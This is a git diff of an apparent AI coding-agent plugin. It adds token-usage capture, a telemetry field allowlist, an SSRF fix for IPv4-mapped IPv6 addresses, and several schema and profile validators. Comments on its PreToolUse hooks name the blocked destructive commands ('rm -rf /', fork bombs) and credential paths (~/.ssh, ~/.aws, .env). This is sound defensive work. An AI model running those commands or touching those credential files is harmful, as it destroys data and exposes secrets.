||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/otel-export.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/otel-export.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -17,6 +17,7 @@
|
|||
// - All stderr prefixed with [voyage].
|
||||
// - EXDEV mitigation: tmp file in same dir as target (do NOT use atomicWriteJson).
|
||||
|
||||
import { stdin } from 'node:process';
|
||||
import { readFileSync, existsSync, writeFileSync, renameSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { transformToPrometheus } from '../../lib/exporters/textfile-format.mjs';
|
||||
|
|
@ -24,6 +25,13 @@ import { transformToOtlpJson } from '../../lib/exporters/otlp-format.mjs';
|
|||
import { validateTextfilePath } from '../../lib/exporters/path-validator.mjs';
|
||||
import { validateOtlpEndpoint } from '../../lib/exporters/endpoint-validator.mjs';
|
||||
import { applyFieldAllowlist } from '../../lib/exporters/field-allowlist.mjs';
|
||||
import { captureTokenUsage } from '../../lib/stats/token-usage.mjs';
|
||||
|
||||
async function readStdin() {
|
||||
let data = '';
|
||||
for await (const chunk of stdin) data += chunk;
|
||||
return data;
|
||||
}
|
||||
|
||||
const VALID_MODES = new Set(['off', 'textfile', 'otlp']);
|
||||
const TEXTFILE_NAME = 'voyage.prom';
|
||||
|
|
@ -38,6 +46,7 @@ const STATS_FILES = [
|
|||
{ file: 'trekexecute-stats.jsonl', schema: 'trekexecute' },
|
||||
{ file: 'trekreview-stats.jsonl', schema: 'trekreview' },
|
||||
{ file: 'trekcontinue-stats.jsonl', schema: 'trekcontinue' },
|
||||
{ file: 'token-usage-stats.jsonl', schema: 'token-usage' },
|
||||
];
|
||||
|
||||
function loadAndAllowlist(dataDir) {
|
||||
|
|
@ -134,6 +143,26 @@ async function exportOtlp(records, env) {
|
|||
(async () => {
|
||||
try {
|
||||
const env = process.env;
|
||||
|
||||
// SKAL-2: opt-in main-context token/cost capture (default off → zero added
|
||||
// latency). Rides this existing Stop hook rather than a new hook script —
|
||||
// avoids a second-Stop-hook race and keeps the README hook-count pin intact.
|
||||
// Runs BEFORE the export-mode gate so capture is independent of export.
|
||||
// Fail-open: any error is swallowed; capture must never block Stop.
|
||||
if (env.VOYAGE_TOKEN_METER) {
|
||||
try {
|
||||
const raw = await readStdin();
|
||||
if (raw.trim()) {
|
||||
const payload = JSON.parse(raw);
|
||||
captureTokenUsage({
|
||||
transcriptPath: payload.transcript_path,
|
||||
sessionId: payload.session_id,
|
||||
dataDir: env.CLAUDE_PLUGIN_DATA,
|
||||
});
|
||||
}
|
||||
} catch { /* fail-open: never block Stop, never throw */ }
|
||||
}
|
||||
|
||||
const mode = (env.VOYAGE_EXPORT_MODE || 'off').toLowerCase();
|
||||
|
||||
if (mode === 'off') return;
|
||||
|
|
|
|||
|
|
@ -1,7 +1,11 @@
|
|||
#!/usr/bin/env node
|
||||
// Hook: pre-bash-executor.mjs
|
||||
// Event: PreToolUse (Bash)
|
||||
// Purpose: Block or warn about destructive shell commands during plan execution.
|
||||
// Purpose: Block or warn about destructive shell commands. Wired universally
|
||||
// (every Voyage session, not just execution) by deliberate decision — these
|
||||
// are session-agnostic safety rails (rm -rf /, fork bombs, …). The CC if:
|
||||
// path-scoping mechanism now works, but narrowing to execute-only would only
|
||||
// weaken protection with no offsetting benefit. See cc-upgrade matrix CC-15/F2.
|
||||
//
|
||||
// Protocol:
|
||||
// - Read JSON from stdin: { tool_name, tool_input }
|
||||
|
|
|
|||
|
|
@ -1,7 +1,11 @@
|
|||
#!/usr/bin/env node
|
||||
// Hook: pre-write-executor.mjs
|
||||
// Event: PreToolUse (Write)
|
||||
// Purpose: Block writes to security-sensitive paths during plan execution.
|
||||
// Purpose: Block writes to security-sensitive paths. Wired universally (every
|
||||
// Voyage session, not just execution) by deliberate decision — protecting
|
||||
// ~/.ssh, ~/.aws, .git/hooks, .env, shell configs benefits every session.
|
||||
// The CC if: path-scoping mechanism now works, but narrowing to execute-only
|
||||
// would only weaken protection with no benefit. See cc-upgrade matrix CC-15/F2.
|
||||
//
|
||||
// Protocol:
|
||||
// - Read JSON from stdin: { tool_name, tool_input }
|
||||
|
|
|
|||
|
|
@ -42,6 +42,28 @@ function isLinkLocal(host) {
|
|||
return LINK_LOCAL_PREFIXES.some(p => host.startsWith(p));
|
||||
}
|
||||
|
||||
// IPv4-mapped IPv6 (::ffff:a.b.c.d) routes to the embedded IPv4. Node renders
|
||||
// the literal as ::ffff:HHHH:HHHH, so decode the embedded IPv4 and classify on
|
||||
// THAT — otherwise the loopback / RFC-1918 / link-local / cloud-metadata guards
|
||||
// below are all bypassable via the mapped form over https (CWE-918, S21).
|
||||
// Returns dotted-decimal IPv4, or null when host is not an IPv4-mapped literal.
|
||||
function mappedV4(host) {
|
||||
const m = /^::ffff:(.+)$/i.exec(host);
|
||||
if (!m) return null;
|
||||
const rest = m[1];
|
||||
if (rest.includes('.')) {
|
||||
// Dotted form: ::ffff:127.0.0.1
|
||||
return /^\d{1,3}(\.\d{1,3}){3}$/.test(rest) ? rest : null;
|
||||
}
|
||||
// Hex-pair form: ::ffff:7f00:1 → two 16-bit groups → 4 octets
|
||||
const parts = rest.split(':');
|
||||
if (parts.length !== 2) return null;
|
||||
const hi = parseInt(parts[0], 16);
|
||||
const lo = parseInt(parts[1], 16);
|
||||
if (!Number.isInteger(hi) || !Number.isInteger(lo) || hi > 0xffff || lo > 0xffff) return null;
|
||||
return [hi >> 8, hi & 0xff, lo >> 8, lo & 0xff].join('.');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate an OTLP/HTTP endpoint URL.
|
||||
*
|
||||
|
|
@ -69,7 +91,12 @@ export function validateOtlpEndpoint(url, opts = {}) {
|
|||
}
|
||||
|
||||
// Strip brackets from IPv6
|
||||
const host = parsed.hostname.replace(/^\[|\]$/g, '');
|
||||
let host = parsed.hostname.replace(/^\[|\]$/g, '');
|
||||
|
||||
// Canonicalize IPv4-mapped IPv6 to its embedded IPv4 so every guard below
|
||||
// classifies (and reports) the address the request would actually reach.
|
||||
const embedded = mappedV4(host);
|
||||
if (embedded) host = embedded;
|
||||
|
||||
// Cloud metadata services — PERMANENTLY blocked. VOYAGE_OTEL_ALLOW_PRIVATE
|
||||
// does NOT override this; metadata endpoints expose IAM credentials.
|
||||
|
|
|
|||
|
|
@ -76,6 +76,16 @@ const TREKCONTINUE_ALLOWED = Object.freeze(new Set([
|
|||
'ts', 'next_session_label', 'status', 'profile', 'profile_source',
|
||||
]));
|
||||
|
||||
// Source: tests/fixtures/jsonl-schemas.md row 9 (token-usage — SKAL-2)
|
||||
// CWE-212: numeric + low-cardinality-label fields ONLY. DENY BY OMISSION:
|
||||
// session_id (UUID), transcript_path (filesystem path), cwd (filesystem path)
|
||||
// are written into the jsonl for upsert keying but MUST NOT reach the exporter.
|
||||
const TOKEN_USAGE_ALLOWED = Object.freeze(new Set([
|
||||
'ts', 'scope', 'model',
|
||||
'tokens_input', 'tokens_output', 'tokens_cache_creation', 'tokens_cache_read',
|
||||
'cost_usd', 'is_estimate', 'price_table_version',
|
||||
]));
|
||||
|
||||
// Schema-id → allowlist set
|
||||
const SCHEMA_ALLOWLISTS = Object.freeze({
|
||||
'trekbrief': TREKBRIEF_ALLOWED,
|
||||
|
|
@ -87,6 +97,7 @@ const SCHEMA_ALLOWLISTS = Object.freeze({
|
|||
'post_bash_stats': POST_BASH_STATS_ALLOWED, // common alt-spelling
|
||||
'trekreview': TREKREVIEW_ALLOWED,
|
||||
'trekcontinue': TREKCONTINUE_ALLOWED,
|
||||
'token-usage': TOKEN_USAGE_ALLOWED,
|
||||
});
|
||||
|
||||
/**
|
||||
|
|
@ -135,4 +146,5 @@ export {
|
|||
TREKEXECUTE_ALLOWED,
|
||||
TREKREVIEW_ALLOWED,
|
||||
TREKCONTINUE_ALLOWED,
|
||||
TOKEN_USAGE_ALLOWED,
|
||||
};
|
||||
|
|
|
|||
|
|
@ -27,7 +27,7 @@ const FLAG_SCHEMA = {
|
|||
aliases: {},
|
||||
},
|
||||
trekreview: {
|
||||
boolean: ['--quick', '--fg', '--dry-run', '--validate'],
|
||||
boolean: ['--quick', '--fg', '--dry-run', '--validate', '--workflow'],
|
||||
valued: ['--project', '--since', '--profile'],
|
||||
aliases: {},
|
||||
},
|
||||
|
|
|
|||
|
|
@ -32,7 +32,7 @@ const OPTIONAL_KEYS = [
|
|||
const OPTIONAL_BOOLEAN_KEYS = new Set(OPTIONAL_KEYS);
|
||||
|
||||
// Optional string-typed manifest keys (v4.1 Step 3 — additive forward-compat).
|
||||
// `profile_used`: name of the model profile (economy|balanced|premium|<custom>) the
|
||||
// `profile_used`: name of the model profile (economy|balanced|premium|fable|<custom>) the
|
||||
// step was executed under. Absence is fine (v4.0 manifests have no
|
||||
// profile concept); presence MUST be a string.
|
||||
// Unlike OPTIONAL_BOOLEAN_KEYS, absence is NOT defaulted — the field is simply
|
||||
|
|
|
|||
|
|
@ -13,7 +13,10 @@ export const STEP_HEADING_REGEX = /^### Step (\d+):\s+(.+?)\s*$/m;
|
|||
export const STEP_HEADING_GLOBAL = /^### Step (\d+):\s+(.+?)\s*$/gm;
|
||||
export const FORBIDDEN_HEADING_REGEX = /^(?:##|###) (?:Fase|Phase|Stage|Steg) \d+/m;
|
||||
export const FORBIDDEN_HEADING_GLOBAL = /^(?:##|###) (?:Fase|Phase|Stage|Steg) \d+/gm;
|
||||
export const PLAN_VERSION_REGEX = /^plan_version:\s*['"]?([\d.]+)['"]?/m;
|
||||
// Matches plan_version in either location the schema allows: at line start
|
||||
// (frontmatter) or backtick-wrapped inside the prose "Generated by" metadata
|
||||
// line the plan template emits (`> Generated by ... — `plan_version: 1.7``).
|
||||
export const PLAN_VERSION_REGEX = /(?:^|`)plan_version:\s*['"]?([\d.]+)['"]?/m;
|
||||
|
||||
/**
|
||||
* Find all step heading positions in plan text.
|
||||
|
|
|
|||
183
lib/plan/synthesis-digest-schema.mjs
Normal file
183
lib/plan/synthesis-digest-schema.mjs
Normal file
|
|
@ -0,0 +1,183 @@
|
|||
// lib/plan/synthesis-digest-schema.mjs
|
||||
// Digest-output JSON schema contract for the synthesis-agent (NW3 / S12).
|
||||
//
|
||||
// The synthesis-agent (agents/synthesis-agent.md) ingests the trekplan Phase-5/7
|
||||
// exploration outputs and emits a trailing fenced ```json block carrying the
|
||||
// findings DIGEST that main currently writes inline in Phase 7. Shape:
|
||||
//
|
||||
// { "agent": "synthesis-agent",
|
||||
// "task": "<task being planned>",
|
||||
// "architecture_model": "<prose mental model of the codebase>",
|
||||
// "reusable_code": [ { ref, note? }, ... ],
|
||||
// "contradictions": [ "<overlap/contradiction between agents>", ... ],
|
||||
// "risks": [ { risk, severity? }, ... ],
|
||||
// "gaps": [ "<unknown → becomes a plan assumption>", ... ],
|
||||
// "sources": [ { finding, origin: "codebase" | "research" }, ... ] }
|
||||
//
|
||||
// This codifies the contract so a delegated synthesis path could VALIDATE the
|
||||
// digest (not merely JSON.parse it) and re-ask on schema failure, and so the
|
||||
// measurement harness has a fixed quality contract to compare inline-vs-delegated
|
||||
// digests against.
|
||||
//
|
||||
// Load-bearing fields (what Phase 8 deep-planning consumes): task,
|
||||
// architecture_model, and the five synthesis arrays. Each `sources` entry must
|
||||
// be origin-tagged codebase|research (Phase 7 rule 7). Descriptive fields and
|
||||
// unknown top-level keys are tolerated (forward-compat, mirroring
|
||||
// review-validator.mjs / findings-schema.mjs).
|
||||
//
|
||||
// 3-layer pattern (Content → Raw-text → CLI shim) mirroring the other validators.
|
||||
|
||||
import { readFileSync, existsSync } from 'node:fs';
|
||||
import { issue, fail } from '../util/result.mjs';
|
||||
|
||||
// Origin tag for every synthesised finding (Phase 7 rule 7: codebase vs research).
|
||||
export const ORIGIN_VALUES = Object.freeze(['codebase', 'research']);
|
||||
|
||||
// The fields Phase 8 depends on. Descriptive fields (note/severity) are not here
|
||||
// on purpose: their absence should not trigger a re-ask.
|
||||
export const DIGEST_REQUIRED_FIELDS = Object.freeze([
|
||||
'task',
|
||||
'architecture_model',
|
||||
'reusable_code',
|
||||
'contradictions',
|
||||
'risks',
|
||||
'gaps',
|
||||
'sources',
|
||||
]);
|
||||
|
||||
// The five synthesis arrays + their stable not-an-array error codes.
|
||||
const ARRAY_FIELDS = Object.freeze([
|
||||
['reusable_code', 'DIGEST_REUSABLE_NOT_ARRAY'],
|
||||
['contradictions', 'DIGEST_CONTRADICTIONS_NOT_ARRAY'],
|
||||
['risks', 'DIGEST_RISKS_NOT_ARRAY'],
|
||||
['gaps', 'DIGEST_GAPS_NOT_ARRAY'],
|
||||
['sources', 'DIGEST_SOURCES_NOT_ARRAY'],
|
||||
]);
|
||||
|
||||
// Last fenced ```json … ``` block, so prose above it never confuses the parser.
|
||||
const JSON_FENCE_GLOBAL = /```json[ \t]*\r?\n([\s\S]*?)```/gi;
|
||||
|
||||
/**
|
||||
* Extract the inner body of the LAST fenced `json` block in `text`.
|
||||
* @param {string} text
|
||||
* @returns {string|null} the JSON source, or null if no json fence is present.
|
||||
*/
|
||||
export function extractDigestBlock(text) {
|
||||
if (typeof text !== 'string') return null;
|
||||
JSON_FENCE_GLOBAL.lastIndex = 0;
|
||||
let last = null;
|
||||
let m;
|
||||
while ((m = JSON_FENCE_GLOBAL.exec(text)) !== null) {
|
||||
last = m[1];
|
||||
}
|
||||
return last;
|
||||
}
|
||||
|
||||
function isNonEmptyString(v) {
|
||||
return typeof v === 'string' && v.length > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate an already-parsed digest payload against the schema.
|
||||
* Accumulates every error (so a re-ask can name all problems at once).
|
||||
* @param {unknown} payload
|
||||
* @returns {import('../util/result.mjs').Result}
|
||||
*/
|
||||
export function validateDigest(payload) {
|
||||
if (payload === null || typeof payload !== 'object' || Array.isArray(payload)) {
|
||||
return fail(issue(
|
||||
'DIGEST_NOT_OBJECT',
|
||||
`Digest must be a JSON object, got ${Array.isArray(payload) ? 'array' : typeof payload}`,
|
||||
));
|
||||
}
|
||||
|
||||
const errors = [];
|
||||
const warnings = [];
|
||||
|
||||
if (!isNonEmptyString(payload.agent)) {
|
||||
warnings.push(issue('DIGEST_MISSING_AGENT', 'Digest should carry a non-empty "agent" name'));
|
||||
}
|
||||
|
||||
if (!isNonEmptyString(payload.task)) {
|
||||
errors.push(issue('DIGEST_MISSING_TASK', 'Digest "task" must be a non-empty string'));
|
||||
}
|
||||
|
||||
if (!isNonEmptyString(payload.architecture_model)) {
|
||||
errors.push(issue(
|
||||
'DIGEST_MISSING_ARCHITECTURE',
|
||||
'Digest "architecture_model" must be a non-empty string (the synthesised mental model)',
|
||||
));
|
||||
}
|
||||
|
||||
for (const [field, code] of ARRAY_FIELDS) {
|
||||
if (!Array.isArray(payload[field])) {
|
||||
errors.push(issue(code, `Digest "${field}" must be an array, got ${typeof payload[field]}`));
|
||||
}
|
||||
}
|
||||
|
||||
// Origin-tag check — only when sources actually is an array.
|
||||
if (Array.isArray(payload.sources)) {
|
||||
payload.sources.forEach((s, i) => {
|
||||
const origin = s && typeof s === 'object' ? s.origin : undefined;
|
||||
if (!ORIGIN_VALUES.includes(origin)) {
|
||||
errors.push(issue(
|
||||
'DIGEST_SOURCE_BAD_ORIGIN',
|
||||
`sources[${i}].origin must be one of ${ORIGIN_VALUES.join('|')}, got ${JSON.stringify(origin)}`,
|
||||
'Tag every synthesised finding as codebase or research (Phase 7 rule 7).',
|
||||
`sources[${i}]`,
|
||||
));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return { valid: errors.length === 0, errors, warnings, parsed: payload };
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a synthesis-agent's raw output: extract the last json fence, parse it,
|
||||
* then schema-validate. Parse-stage failures get stable codes so they flow
|
||||
* through the same bounded re-ask path as schema failures.
|
||||
* @param {string} rawText
|
||||
* @returns {import('../util/result.mjs').Result}
|
||||
*/
|
||||
export function validateAgentOutput(rawText) {
|
||||
const block = extractDigestBlock(rawText);
|
||||
if (block === null) {
|
||||
return fail(issue(
|
||||
'DIGEST_NO_JSON_BLOCK',
|
||||
'No trailing fenced ```json block found in synthesis-agent output',
|
||||
'The synthesis-agent must end its output with a single ```json digest block.',
|
||||
));
|
||||
}
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(block);
|
||||
} catch (e) {
|
||||
return fail(issue('DIGEST_PARSE_ERROR', `Digest JSON block did not parse: ${e.message}`));
|
||||
}
|
||||
return validateDigest(parsed);
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = process.argv.slice(2);
|
||||
const filePath = args.find((a) => !a.startsWith('--'));
|
||||
if (!filePath) {
|
||||
process.stderr.write('Usage: synthesis-digest-schema.mjs [--json] <agent-output.txt|.md>\n');
|
||||
process.exit(2);
|
||||
}
|
||||
if (!existsSync(filePath)) {
|
||||
process.stderr.write(`synthesis-digest-schema: file not found: ${filePath}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
const r = validateAgentOutput(readFileSync(filePath, 'utf-8'));
|
||||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
|
||||
} else {
|
||||
process.stdout.write(`synthesis-digest-schema: ${r.valid ? 'PASS' : 'FAIL'} ${filePath}\n`);
|
||||
for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
|
||||
for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
|
||||
}
|
||||
process.exit(r.valid ? 0 : 1);
|
||||
}
|
||||
|
|
@ -18,4 +18,9 @@ parallel_agents_min: 2
|
|||
parallel_agents_max: 3
|
||||
external_research_enabled: false
|
||||
brief_reviewer_iter_cap: 1
|
||||
# Experimental: the cross-tier Jaccard floor (0.55) rests on parked-synthetic
|
||||
# fixtures — empirical Step-17 calibration is deferred to v4.2. Drop this flag
|
||||
# in the SAME change that lands calibration (status: empirical). See
|
||||
# tests/synthetic/profile-jaccard-calibration.md and docs/profiles.md.
|
||||
experimental: true
|
||||
---
|
||||
|
|
|
|||
21
lib/profiles/fable.yaml
Normal file
21
lib/profiles/fable.yaml
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
---
|
||||
profile_version: "1.0"
|
||||
name: fable
|
||||
phase_models:
|
||||
- phase: brief
|
||||
model: fable
|
||||
- phase: research
|
||||
model: fable
|
||||
- phase: plan
|
||||
model: fable
|
||||
- phase: execute
|
||||
model: fable
|
||||
- phase: review
|
||||
model: fable
|
||||
- phase: continue
|
||||
model: fable
|
||||
parallel_agents_min: 6
|
||||
parallel_agents_max: 8
|
||||
external_research_enabled: true
|
||||
brief_reviewer_iter_cap: 3
|
||||
---
|
||||
|
|
@ -12,6 +12,7 @@
|
|||
import { readFileSync, existsSync } from 'node:fs';
|
||||
import { parseDocument } from '../util/frontmatter.mjs';
|
||||
import { PHASE_SIGNAL_PHASES, EFFORT_LEVELS } from '../validators/brief-validator.mjs';
|
||||
import { BASE_ALLOWED_MODELS } from '../validators/profile-validator.mjs';
|
||||
|
||||
/**
|
||||
* Resolve a brief's phase_signal entry for one phase.
|
||||
|
|
@ -27,6 +28,8 @@ import { PHASE_SIGNAL_PHASES, EFFORT_LEVELS } from '../validators/brief-validato
|
|||
* - No entry for the requested phase
|
||||
*
|
||||
* Returns partial `{effort}` (with `model: undefined`) when the signal omits model.
|
||||
* `effort` is gated against EFFORT_LEVELS and `model` against BASE_ALLOWED_MODELS;
|
||||
* values outside those allowlists are dropped (treated as absent).
|
||||
*/
|
||||
export function resolvePhaseSignal(briefFrontmatter, phase) {
|
||||
if (!briefFrontmatter || typeof briefFrontmatter !== 'object') return null;
|
||||
|
|
@ -37,7 +40,11 @@ export function resolvePhaseSignal(briefFrontmatter, phase) {
|
|||
if (entry && typeof entry === 'object' && entry.phase === phase) {
|
||||
const out = {};
|
||||
if ('effort' in entry && EFFORT_LEVELS.includes(entry.effort)) out.effort = entry.effort;
|
||||
if ('model' in entry) out.model = entry.model;
|
||||
// MAJOR fix (S4): gate `model` against BASE_ALLOWED_MODELS, mirroring the
|
||||
// effort gate above. brief-validator already rejects out-of-allowlist
|
||||
// models at validation time; this is defense-in-depth so a brief that
|
||||
// slipped validation cannot hand a junk model to an agent spawn.
|
||||
if ('model' in entry && BASE_ALLOWED_MODELS.includes(entry.model)) out.model = entry.model;
|
||||
return out;
|
||||
}
|
||||
}
|
||||
|
|
@ -60,6 +67,11 @@ export function resolvePhaseSignalFromFile(briefPath, phase) {
|
|||
}
|
||||
|
||||
// CLI shim — mirrors lib/validators/brief-validator.mjs:168 pattern.
|
||||
// Footgun guard (v5.9): this shim's `model` output is brief-signal-only — it
|
||||
// never consults the profile layer. For command wiring, the composed resolver
|
||||
// CLI (`resolver.mjs --resolve-phase-model`, brief > profile > default) is the
|
||||
// single resolution source for {effort, model}. Do not re-wire commands/*.md
|
||||
// Bash blocks back to this shim.
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = process.argv.slice(2);
|
||||
const getArg = (name) => {
|
||||
|
|
|
|||
|
|
@ -45,7 +45,7 @@ import { resolvePhaseSignal } from './phase-signal-resolver.mjs';
|
|||
|
||||
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||
const BUILTIN_PROFILES_DIR = __dirname; // lib/profiles/
|
||||
const BUILTIN_NAMES = new Set(['economy', 'balanced', 'premium']);
|
||||
const BUILTIN_NAMES = new Set(['economy', 'balanced', 'premium', 'fable']);
|
||||
|
||||
/**
|
||||
* Resolve the path to a profile file.
|
||||
|
|
@ -221,7 +221,13 @@ export function validateProfileFile(path, opts = {}) {
|
|||
* @param {string|null} briefPath Absolute or repo-relative path to brief.md, or null
|
||||
* @param {string[]|object} argv Full process.argv array OR parsed flags object
|
||||
* @param {object} [env] Environment-variable record (defaults to process.env)
|
||||
* @returns {{model: string, source: 'brief-signal'|'flag'|'env'|'default'}}
|
||||
* @returns {{effort?: string, model: string, source: 'brief-signal'|'flag'|'env'|'default'}}
|
||||
*
|
||||
* `effort` (v5.9 ADDITIVE) is the brief signal's effort passed through when
|
||||
* present — so commands consume ONE coherent {effort, model, source} result
|
||||
* instead of two split CLI calls. Absent when the brief carries no valid
|
||||
* effort signal for the phase (commands default to 'standard' per the
|
||||
* composition rule).
|
||||
*
|
||||
* Error handling contract:
|
||||
* - Never throws. Any failure (ENOENT on briefPath, malformed YAML, missing
|
||||
|
|
@ -234,7 +240,10 @@ export function validateProfileFile(path, opts = {}) {
|
|||
* directly; commands must inject {resolved model} at Agent-tool spawn sites.
|
||||
*/
|
||||
export function resolvePhaseModel(phase, briefPath, argv, env = process.env) {
|
||||
// Step 1: brief-signal lookup
|
||||
// Step 1: brief-signal lookup. `effort` is captured independently of `model`
|
||||
// so a signal like {effort: high} (no model) still passes effort through
|
||||
// while the model falls to the profile layer.
|
||||
let effort;
|
||||
if (typeof briefPath === 'string' && briefPath.length > 0 && existsSync(briefPath)) {
|
||||
let fm = null;
|
||||
try {
|
||||
|
|
@ -246,8 +255,11 @@ export function resolvePhaseModel(phase, briefPath, argv, env = process.env) {
|
|||
}
|
||||
if (fm) {
|
||||
const signal = resolvePhaseSignal(fm, phase);
|
||||
if (signal && typeof signal.effort === 'string') effort = signal.effort;
|
||||
if (signal && typeof signal.model === 'string' && signal.model.length > 0) {
|
||||
return { model: signal.model, source: 'brief-signal' };
|
||||
return effort !== undefined
|
||||
? { effort, model: signal.model, source: 'brief-signal' }
|
||||
: { model: signal.model, source: 'brief-signal' };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -278,7 +290,9 @@ export function resolvePhaseModel(phase, briefPath, argv, env = process.env) {
|
|||
}
|
||||
}
|
||||
const model = phaseModels[phase] || 'opus';
|
||||
return { model, source: profile_source };
|
||||
return effort !== undefined
|
||||
? { effort, model, source: profile_source }
|
||||
: { model, source: profile_source };
|
||||
}
|
||||
|
||||
// CLI shim — invoked by commands/trek*.md via Bash.
|
||||
|
|
@ -300,7 +314,8 @@ if (import.meta.url === `file://${process.argv[1]}`) {
|
|||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify(r) + '\n');
|
||||
} else {
|
||||
process.stdout.write(`model=${r.model} source=${r.source}\n`);
|
||||
const effort = 'effort' in r ? ` effort=${r.effort}` : '';
|
||||
process.stdout.write(`model=${r.model} source=${r.source}${effort}\n`);
|
||||
}
|
||||
process.exit(0);
|
||||
}
|
||||
|
|
|
|||
234
lib/review/coordinator-contract.mjs
Normal file
234
lib/review/coordinator-contract.mjs
Normal file
|
|
@ -0,0 +1,234 @@
|
|||
// lib/review/coordinator-contract.mjs
|
||||
// SKAL-1·4a — deterministic reference implementation of the review-coordinator
|
||||
// 4-pass contract (agents/review-coordinator.md §"Your 4-pass process").
|
||||
//
|
||||
// This is a DETERMINISTIC SUBSET, not a full mirror of the LLM coordinator.
|
||||
// It implements the pure, hermetic passes and DELIBERATELY EXCLUDES the parts
|
||||
// that need a live filesystem or LLM judgement (which belong to the 4c
|
||||
// LLM-in-the-loop eval, not this all-agree foundation tier):
|
||||
// - Pass 2 "Accuracy" file-existence / line-plausibility glob (fs I/O).
|
||||
// - Pass 2 "Actionability" imperative-verb heuristic — the real coordinator
|
||||
// uses LLM judgement here; a verb-list approximation would DIVERGE from the
|
||||
// contract being mirrored, so only the deterministic "recommended_action is
|
||||
// present-and-non-empty when supplied" half is kept.
|
||||
// - The doc's 4-tuple `(file,line,rule_key,title)` id recompute — the shipped
|
||||
// `computeFindingId` is 3-arg `(file,line,rule_key)`; this module follows
|
||||
// the shipped code and flags the doc divergence (the 4-tuple id is not
|
||||
// producible by the current helper).
|
||||
//
|
||||
// What IS implemented, purely: Pass 1 (triplet dedup → highest-severity-wins
|
||||
// survivor + conformance tiebreak + detail concat + raised_by provenance),
|
||||
// Pass 2 succinctness + actionability-presence, Pass 3 reasonableness
|
||||
// (citation / unknown-rule_key drop, severity-mismatch correction), Pass 4
|
||||
// verdict thresholds. No LLM, no network, no time, no randomness.
|
||||
//
|
||||
// Reuses: SEVERITY_VALUES / RULE_KEYS / getRule (rule-catalogue.mjs),
|
||||
// computeFindingId (finding-id.mjs, triplet), validateFindings
|
||||
// (findings-schema.mjs). Triplet key format mirrors
|
||||
// scripts/bakeoff-armA-merge.mjs:33; raised_by provenance mirrors
|
||||
// lib/review/plan-review-dedup.mjs.
|
||||
|
||||
import { SEVERITY_VALUES, RULE_KEYS, getRule } from './rule-catalogue.mjs';
|
||||
import { computeFindingId } from '../parsers/finding-id.mjs';
|
||||
import { validateFindings } from './findings-schema.mjs';
|
||||
|
||||
export const JUDGE_TITLE_MAX = 100;
|
||||
export const JUDGE_DETAIL_MAX = 800;
|
||||
|
||||
/**
|
||||
* Catalogue-tier rank of a severity: lower number = higher severity.
|
||||
* BLOCKER=0 … SUGGESTION=3; an unknown severity ranks last.
|
||||
* @param {string} severity
|
||||
* @returns {number}
|
||||
*/
|
||||
export function severityRank(severity) {
|
||||
const i = SEVERITY_VALUES.indexOf(severity);
|
||||
return i === -1 ? SEVERITY_VALUES.length : i;
|
||||
}
|
||||
|
||||
function isConformance(reviewer) {
|
||||
return typeof reviewer === 'string' && reviewer.toLowerCase().includes('conformance');
|
||||
}
|
||||
|
||||
function tripletKey(f) {
|
||||
return `${f.file} ${f.line} ${f.rule_key}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate each reviewer payload and collect findings from the VALID ones,
|
||||
* tagging each finding with its source reviewer (mirrors mergeArmA — invalid
|
||||
* payloads are skipped, not crashed-on).
|
||||
* @param {Array<{reviewer?: string, findings: object[]}>} reviewerPayloads
|
||||
* @returns {{ findings: object[], skipped: Array<{reviewer: string|null, error_codes: string[]}> }}
|
||||
*/
|
||||
export function ingest(reviewerPayloads) {
|
||||
const findings = [];
|
||||
const skipped = [];
|
||||
for (const payload of reviewerPayloads) {
|
||||
const r = validateFindings(payload);
|
||||
if (!r.valid) {
|
||||
skipped.push({ reviewer: payload?.reviewer ?? null, error_codes: r.errors.map((e) => e.code) });
|
||||
continue;
|
||||
}
|
||||
for (const f of payload.findings) {
|
||||
findings.push({ ...f, reviewer: f.reviewer ?? payload.reviewer ?? f.owner_reviewer ?? null });
|
||||
}
|
||||
}
|
||||
return { findings, skipped };
|
||||
}
|
||||
|
||||
/**
|
||||
* Pass 1 — dedup by (file, line, rule_key) triplet. Survivor = highest
|
||||
* catalogue severity; severity tie → prefer the conformance reviewer; carries
|
||||
* raised_by provenance, concatenates other reviewers' attribution into detail,
|
||||
* and recomputes the id over the triplet.
|
||||
* @param {object[]} findings
|
||||
* @returns {object[]}
|
||||
*/
|
||||
export function dedupByTriplet(findings) {
|
||||
const groups = new Map();
|
||||
for (const f of findings) {
|
||||
const key = tripletKey(f);
|
||||
if (!groups.has(key)) groups.set(key, []);
|
||||
groups.get(key).push(f);
|
||||
}
|
||||
const out = [];
|
||||
for (const group of groups.values()) {
|
||||
let survivor = group[0];
|
||||
for (const f of group.slice(1)) {
|
||||
const higher = severityRank(f.severity) < severityRank(survivor.severity);
|
||||
const tieToConformance =
|
||||
severityRank(f.severity) === severityRank(survivor.severity) &&
|
||||
isConformance(f.reviewer) && !isConformance(survivor.reviewer);
|
||||
if (higher || tieToConformance) survivor = f;
|
||||
}
|
||||
const raised_by = [...new Set(group.map((f) => f.reviewer).filter(Boolean))];
|
||||
const others = group.filter((f) => f !== survivor);
|
||||
let detail = survivor.detail;
|
||||
